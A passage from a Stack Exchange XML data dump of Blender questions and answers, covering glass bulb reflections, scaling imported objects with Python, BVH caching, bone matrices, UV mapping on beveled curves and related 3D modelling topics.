bulb:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an IOR of 1.0:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XdZjF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same bulb with IOR of 3.0:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tO15h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yet another factor that can influence the amount of reflection is the thickness of the glass. If the bulb is a simple lightbulb-shaped mesh with a Glass material, then Blender will consider it a solid piece of glass, like a crystal ball, and this will significantly influence how light passes through it. In addition, if the bulb is a solid piece of glass, that could be one reason why there is no reflection inside the glass -- there is no inside face for the light to reflect off of. Ironically, in order to make the bulb hollow, the solution here is to add a &lt;em&gt;Solidify&lt;/em&gt; modifier (as described below) to the bulb -- this will give the bulb mesh a very thin thickness and leave the rest hollow, thus allowing light to pass through the glass like a normal lightbulb rather than as a solid piece of glass: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7n0jK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The camera angle in relation to the faces of the bulb will also play a significant role in how much light reflects into the camera:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/igNHu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the end, I found the following settings to give a significant improvement in the internal reflections:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/solidify.html#solidify-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Solidify&lt;/em&gt; modifier&lt;/a&gt; to the bulb and set the &lt;em&gt;Thickness&lt;/em&gt; to 0.01 or something similar:&lt;br&gt;&#xA;Select bulb  → &lt;em&gt;Object Properties&lt;/em&gt; panel → &lt;em&gt;Modifiers&lt;/em&gt; tab → &lt;em&gt;Solidify&lt;/em&gt;  → &lt;em&gt;Thickness&lt;/em&gt;  → 0.01&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then setting the IOR on the glass bulb to 5.0 or so:&lt;br&gt;&#xA;Select bulb  → &lt;em&gt;Object Properties&lt;/em&gt; panel → &lt;em&gt;Materials&lt;/em&gt; tab → &lt;em&gt;IOR&lt;/em&gt; → 5.0&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setting the filament's emission &lt;em&gt;Strength&lt;/em&gt; to 3000&lt;br&gt;&#xA;Select filament  → &lt;em&gt;Object Properties&lt;/em&gt; panel → &lt;em&gt;Materials&lt;/em&gt; tab → &lt;em&gt;Surface&lt;/em&gt; section → &lt;em&gt;Strength&lt;/em&gt;   → 3000&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Changing the filament's color to something like the following RGB and HSV values:&lt;br&gt;&#xA;Select filament  → &lt;em&gt;Object Properties&lt;/em&gt; panel → &lt;em&gt;Materials&lt;/em&gt; tab → &lt;em&gt;Color&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/42lzQ.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/R5xTP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This resulted in the following render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y5YBh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The fact that the shape of the glass and also the thickness of the glass play significant roles in creating more realistic reflections made me think that in order to achieve photo-realistic results, the physical properties of the mesh models should be physically accurate representations of the objects being modeled. I'm no expert on photo-realism at all, but this just occurred to me and might help in your quest for realism.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this regard, you might explore setting the filament's color based on it's temperature in &lt;a href=&quot;https://en.wikipedia.org/wiki/Kelvin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kelvin&lt;/a&gt; with the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/converter/blackbody.html#blackbody-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Blackbody&lt;/em&gt; node&lt;/a&gt; in the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/node_editor/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Node Editor&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HeDlG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure this is necessary, though, but you might consider it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="15924" LastEditDate="2018-03-31T10:07:54.680" LastActivityDate="2018-03-31T10:07:54.680" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9312" PostTypeId="1" AcceptedAnswerId="9316" CreationDate="2014-05-12T02:29:16.520" Score="1" ViewCount="1279" Body="&lt;p&gt;I'm trying to build an automatic renderer using Python, loading lots of OBJ files one-by-one and rendering the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can load the files no problem, but because they are different sizes, I need to either:&#xA;1. Change the objects to the same size, or&#xA;2. Move the camera so the object fits&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to get either option to work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus far, the best option seems perhaps to use &lt;code&gt;bpy.ops.object.dimensions&lt;/code&gt; and then scale, but I can't seem to get the x/y/z dimensions out of object.&lt;/p&gt;&#xA;" OwnerUserId="3456" LastActivityDate="2014-05-12T06:54:17.723" Title="View extents (scale to fit render window)" Tags="&lt;python&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9313" PostTypeId="2" ParentId="9291" CreationDate="2014-05-12T04:55:38.750" Score="6" Body="&lt;p&gt;From the blender &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.62/Cycles&quot;&gt;2.62 release notes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For renders where only the camera or materials are changing, while meshes stay fixed, it is now possible to skip the sometimes slow BVH step, by enabling BVH Cache in the Performance panel. This will store the BVH on disk for subsequent (animation) renders of the same scene. Note that if the scene does change in the animation, enabling this option will make rendering somewhat slower.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The best way to tell if your mesh is changing is to render a few frames, if you get more than one bvh file in the cache directory then the mesh is changing and cache bvh probably isn't helping. Some simple tests can show that an armature deforming a mesh is considered altering a mesh and creates a new cache file each frame, the same as an object moving in the scene, but a camera moving through a static scene can make use of one cache file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5GB of cache files sounds extreme, of note here is that blender doesn't appear to clear this cache out by itself, you may want to delete everything in your cache folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for where it is saved, you should be able to delete the cache folder and replace it with a shortcut - be sure to call the shortcut &lt;code&gt;cache&lt;/code&gt;. I know this works on *nix systems but should also work on windows.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-12T04:55:38.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9315" PostTypeId="1" CreationDate="2014-05-12T06:44:22.090" Score="3" ViewCount="669" Body="&lt;p&gt;Alright I will try to describe the scene setup that I like to use in order to clear up what I'd like to do here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally once I've baked a texture I like to continue working on the model with the texture displayed while using the Solid Viewport Shading Mode combined with GLSL Textured Solid Shading.(I've circled them in the attached image).  Usually I drop and drag the image(from the HD) onto the UV coords to set texture in the display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what I'd like to be able to do is adjust the image using compositor nodes while maintaining this display setup.&lt;br&gt;&#xA;So far, I can only do this if I add a material and load the texture in through there.  This also requires that I set the display mode to Rendered.  This method is slow, and requires more setup time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the attached image you can see that I've added several different Output Nodes to see if any would affect the texture displayed in the 3D Viewport, but none do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how this can be done using the more efficient Viewport Shading modes?&lt;br&gt;&#xA;(btw. the selected object in the image is shaded but normally it would be in &lt;em&gt;Shadeless&lt;/em&gt; mode while this is being done, it was a quick test.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/096Lt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-05-13T17:02:58.057" LastActivityDate="2014-05-14T04:24:26.300" Title="Using the compositor to adjust an image that is displayed in the viewport on a mesh" Tags="&lt;materials&gt;&lt;3d-view&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9316" PostTypeId="2" ParentId="9312" CreationDate="2014-05-12T06:54:17.723" Score="1" Body="&lt;p&gt;&lt;code&gt;dimensions&lt;/code&gt; is a property of &lt;code&gt;object&lt;/code&gt; so you access it with &lt;code&gt;object.dimensions&lt;/code&gt; not as a call to an operator. As a list of 3 values you can get the largest one with &lt;code&gt;max(object.dimensions)&lt;/code&gt;, or you can look at each value with &lt;code&gt;object.dimensions.x&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;&#xA;maxDimension = 5.0&#xA;&#xA;scaleFactor = maxDimension / max(obj.dimensions)&#xA;&#xA;obj.scale = (scaleFactor,scaleFactor,scaleFactor)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes you are starting with a scale of 1.0. If not then you may want to use &lt;code&gt;bpy.ops.object.transform_apply(location=False, rotation=False, scale=True)&lt;/code&gt; before starting.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-12T06:54:17.723" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9318" PostTypeId="1" CreationDate="2014-05-12T10:16:03.987" Score="2" ViewCount="1919" Body="&lt;p&gt;I have a script in which I compute a custom matrix for each bone of a skeleton. I know I have switch to edit mode but then I read that the property &lt;code&gt;edit_bone.matrix&lt;/code&gt; is read-only for bones. Now, because I know how matrices work, I thought, I would just set the bones matrix to Identity() (&lt;code&gt;edit_bone.head&lt;/code&gt; to &lt;code&gt;(0, 0, 0)&lt;/code&gt; and &lt;code&gt;edit_bone.tail&lt;/code&gt; to &lt;code&gt;(0, 1, 0)&lt;/code&gt;). But when I then do transform the bone the outcome is not what I expected. The script-snippet is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for bone in self._data.edit_bones:&#xA;    ebone = armature.edit_bones.new(bone.name)&#xA;    # ebone.head = (0.0, 0.0, 0.0) # already default&#xA;    ebone.tail = (0.0, 1.0, 0.0)&#xA;    t_matrix = Matrix(bone.transform) # use blender-intern Matrix&#xA;    # the following call should set ebone.matrix to t_matrix&#xA;    # cannot do that directly, is currently wrong&#xA;    ebone.transform(t_matrix)&#xA;    print(t_matrix, ebone.matrix, sep='\n')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Matrix 4x4 (-0.9665, -0.2564, -0.0119, 17.7405)&#xA;            ( 0.0171, -0.0183, -0.9997,  0.0280)&#xA;            ( 0.2561, -0.9664,  0.0221, -0.0120)&#xA;            ( 0.0000,  0.0000,  0.0000,  1.0000)&amp;gt;&#xA;&amp;lt;Matrix 4x4 (-0.0530, -0.0119,  0.9985, 17.7405)&#xA;            ( 0.0227, -0.9997, -0.0107,  0.0280)&#xA;            ( 0.9983,  0.0221,  0.0533, -0.0120)&#xA;            ( 0.0000,  0.0000,  0.0000,  1.0000)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice how the translation is correct but I don't understand why the other part isn't. Can anyone give an insight what is going on and provide a solution to my problem?&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2014-05-13T19:52:27.180" LastActivityDate="2017-09-14T13:14:43.627" Title="Set a bones matrix to a custom matrix" Tags="&lt;python&gt;&lt;scripting&gt;&lt;transforms&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9319" PostTypeId="1" CreationDate="2014-05-12T10:22:57.023" Score="16" ViewCount="36269" Body="&lt;p&gt;I really want to be able to apply mapping to a curve object. For instance a rope or pipe that has a repeated pattern along its length that follows it's twists and turns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be a simple way to generate UV coordinates for such an object without converting it to a mesh and unwrapping it. Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="3458" LastEditorUserId="2217" LastEditDate="2014-06-27T02:38:56.167" LastActivityDate="2016-12-29T04:26:02.573" Title="Adding a texture map to a beveled curve or path" Tags="&lt;texturing&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9320" PostTypeId="2" ParentId="9319" CreationDate="2014-05-12T10:57:34.837" Score="2" Body="&lt;p&gt;This answer only applies if you are using cycles to render your scene. Note that I can't provide an answer for the internal renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in cycles, this can be achieved easily by using the following note setup. This generates a nicely distributed trexture ove the beveled curve (I guess that is what you want):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U7B3a.png&quot; alt=&quot;Texture and node setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2251" LastActivityDate="2014-05-12T10:57:34.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9321" PostTypeId="2" ParentId="9319" CreationDate="2014-05-12T10:59:42.113" Score="4" Body="&lt;p&gt;The easiest and quickest way to create UV for a pipe (curve) without having to convert it to a mesh is to use the generated UVs.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I am assuming that you are using cycles&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign a (diffuse) material to your mesh (in the materials tab) if you haven't already&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2naIS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an image to your material, Shift + A -&amp;gt; Texture -&amp;gt; Image Texture&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an UV input, Shift + A -&amp;gt; Input -&amp;gt; Texture Coordinate&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YBlee.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;NOTE:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the curve is still intact, you don't have to convert to mesh&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the generated UV is not perfect and there may be some minor stretching&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KtWbt.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-12T10:59:42.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9322" PostTypeId="2" ParentId="9319" CreationDate="2014-05-12T12:03:39.250" Score="23" Body="&lt;p&gt;Yes, you can. Just simply toggle the &lt;strong&gt;Use UV for mapping&lt;/strong&gt; option in &lt;strong&gt;Properties&lt;/strong&gt; Editor &gt; &lt;strong&gt;Object Data&lt;/strong&gt; Tab &gt; &lt;strong&gt;Texture space&lt;/strong&gt; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7EU2D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For &lt;strong&gt;BI&lt;/strong&gt; render&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In order to use UV coordinate, you have to convert the curve object into a mesh object to store UV (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;kbd&gt;2&lt;/kbd&gt;). Just besure to have that optio toggled, which will automatically generate a neat UV (named &lt;strong&gt;Orco&lt;/strong&gt; by default). and set Texture coornidate to UV:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wc4Ro.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you don't want to convert the curve object into a mesh, for regular use, you have a nice option, by using &lt;strong&gt;Generated&lt;/strong&gt; coodinate instead for texture:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BOhrs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For &lt;strong&gt;Cycles&lt;/strong&gt; Render:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;After toggling &lt;strong&gt;Use UV for mapping&lt;/strong&gt; option, you can immidiately see the automatic Orco UV in 3D View, Cycles will by default use UV coordinate for both curve and mesh:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Do5EH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2016-12-29T04:26:02.573" LastActivityDate="2016-12-29T04:26:02.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9324" PostTypeId="1" AcceptedAnswerId="9344" CreationDate="2014-05-12T14:59:52.723" Score="2" ViewCount="1286" Body="&lt;p&gt;I have a rather lenghty question.&#xA;Following situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a external tool, which can submit data via a TCP-Socket to a modal operator running in Blender-Python. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For normal Meshes and primitives this works just fine.&#xA;But the tool offers the possibility to render so called PolyLine which is just a number of vertices with edges which are drawn as screen-space lines. There are used for highlighting constraints for different algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want Blender to emulate these lines but I cannot think of a way that works good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use the &quot;skin&quot; modifier on the face-less lines which works but has the big problem of thickness. I cannot say how big the transmitted mesh is so the skin-thickness is hard to determine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried using the Freestyle-Module but encountered a problem with visibility. Sometimes the lines are just ignored or they are drawn eventhough they are occluded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to draw lines with Blender that I missed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry, I know this is a very vague question and I don't really know how to explain it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings,&#xA;Dragonseel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. a picture of the PolyLine as they appear in the external tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/51Psk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3394" LastActivityDate="2014-05-13T07:26:42.367" Title="Straight Lines with no Face, Freestyle" Tags="&lt;python&gt;&lt;freestyle&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9325" PostTypeId="1" AcceptedAnswerId="9338" CreationDate="2014-05-12T16:56:05.760" Score="2" ViewCount="327" Body="&lt;p&gt;i have a problem that loopcuts are throwing shadows when i render. I basicly want an area to look like it was one face instead of multiple. Her is an exeample what i mean:&lt;/p&gt;&#xA;&lt;p&gt;This is my model:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AfcAf.png&quot; alt=&quot;http://abload.de/image.php?img=solidshadeg2cgd.png&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;and this is it rendered. The red circles show what i mean.&#xA;It's more pronnouned when i look from other angles.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uJjzp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The lines in the first red circle i could life with, but the lines in the 2nd look really ugly from other viewpoints. If i delete all the faces and make one big ngon face from it it looks nice, but i of couse want to avoid ngons.&#xA;So how can i fix/align this, so that it looks like it was one face?&lt;/p&gt;&#xA;" OwnerUserId="3177" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-19T17:48:34.937" Title="Align loopcuts (so it looks like one big face)" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9326" PostTypeId="1" AcceptedAnswerId="9343" CreationDate="2014-05-12T16:57:04.373" Score="9" ViewCount="2183" Body="&lt;p&gt;I'm trying to split a big .blend into several smaller ones, so that several people can work on different parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I split it into 5 smaller .blend (~= 200MB and &gt; 1000 objects each), and I created an empty one (container.blend) that links to each scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is : each scene is completely separate. From my &quot;Container Scene&quot;, I can't get to make the 5 others visible. Only one is active, only one is visible : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZTOyk.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;When I render ContainerScene, I want Scene_62XXMECH-1 to be rendered, too.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a button I missed ? Should I add all 7000 objects separately in the container scene ? Is there another way ?&lt;/p&gt;&#xA;" OwnerUserId="3461" LastEditorUserId="2217" LastEditDate="2014-05-12T17:48:12.733" LastActivityDate="2014-05-13T04:32:52.763" Title="Link full .blend files" Tags="&lt;blend-files&gt;&lt;scene&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9327" PostTypeId="1" AcceptedAnswerId="9351" CreationDate="2014-05-12T17:57:18.933" Score="3" ViewCount="321" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;DISCLAIMER:&lt;/em&gt;&lt;/strong&gt; I rewrite my post upon the latest success to not flood my own post with already solved parts so I left only the part that really is still not working...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PROBLEM:&lt;/em&gt; &#xA;I need to replace all nodes of one material with all nodes of another linked material from another external .blend file via script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I ALREADY HAVE ALMOST COMPLETELY WORKING SCRIPT NOW ALL MADE BY MYSELF AT LEAST&lt;/strong&gt;, except the last thing: copying links between nodes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how exactly write those two parameters, please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender v2.70.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.: I need strictly SCRIPT BASED ANSWERS ONLY&lt;/strong&gt;...I know how to do it manually, of course&lt;/p&gt;&#xA;" OwnerUserId="3462" LastEditorUserId="3462" LastEditDate="2014-05-13T21:11:31.620" LastActivityDate="2014-05-13T22:28:59.160" Title="copy linked materials nodes to local material" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9328" PostTypeId="1" CreationDate="2014-05-12T18:13:08.390" Score="3" ViewCount="10163" Body="&lt;p&gt;How to set-up the perspective view based on a reference image, before starting to model what's on the image?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="2217" LastEditDate="2014-05-12T18:41:08.907" LastActivityDate="2014-05-12T21:07:46.243" Title="How to set-up the perspective view based on a reference image?" Tags="&lt;3d-view&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9329" PostTypeId="2" ParentId="9325" CreationDate="2014-05-12T18:21:57.350" Score="0" Body="&lt;p&gt;This method may change the shape of your model slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all the faces you want aligned or look as one face, and scale them to 0 along the normal axis (you can change it from global to normal in the toolbar)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the before and after:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dtkNO.png&quot; alt=&quot;before&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rkadT.png&quot; alt=&quot;after&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1479" LastActivityDate="2014-05-12T18:21:57.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9330" PostTypeId="1" AcceptedAnswerId="9342" CreationDate="2014-05-12T18:43:50.627" Score="6" ViewCount="4205" Body="&lt;p&gt;I am creating a few different Apple products, but having issues getting that MacBook Pro rough anodized aluminum finish look and the high-gloss iPhone type of finish. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of the anodized finish I'm wanting to create for the MacBook Pro:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PL1pE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the high-gloss finish I'd like to have for my iPhone:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hjUYm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried taking a picture of a MacBook Pro and layering that image on top of my model, but that doesn't quite work. Does anyone have suggestions on how to create these two type of textures?&lt;/p&gt;&#xA;" OwnerUserId="3463" LastEditorUserId="2173" LastEditDate="2014-05-13T00:21:03.770" LastActivityDate="2014-05-13T17:44:51.140" Title="How can I make a glossy finish and an anodized finish (rough but shiny finish)?" Tags="&lt;materials&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9332" PostTypeId="2" ParentId="9328" CreationDate="2014-05-12T20:11:18.647" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; clearly states that this is currently not possible to setup a background image in perspective view:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;They are only available for Top, Side and Front (and their&#xA;  complementary versions) orthographic views! The picture remains the&#xA;  same when you switch between these six views.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But there is one exception, when you switch camera mode &lt;kbd&gt;NUMPAD-0&lt;/kbd&gt; the background images will still be visible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t2xBh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-05-12T20:48:30.073" LastActivityDate="2014-05-12T20:48:30.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
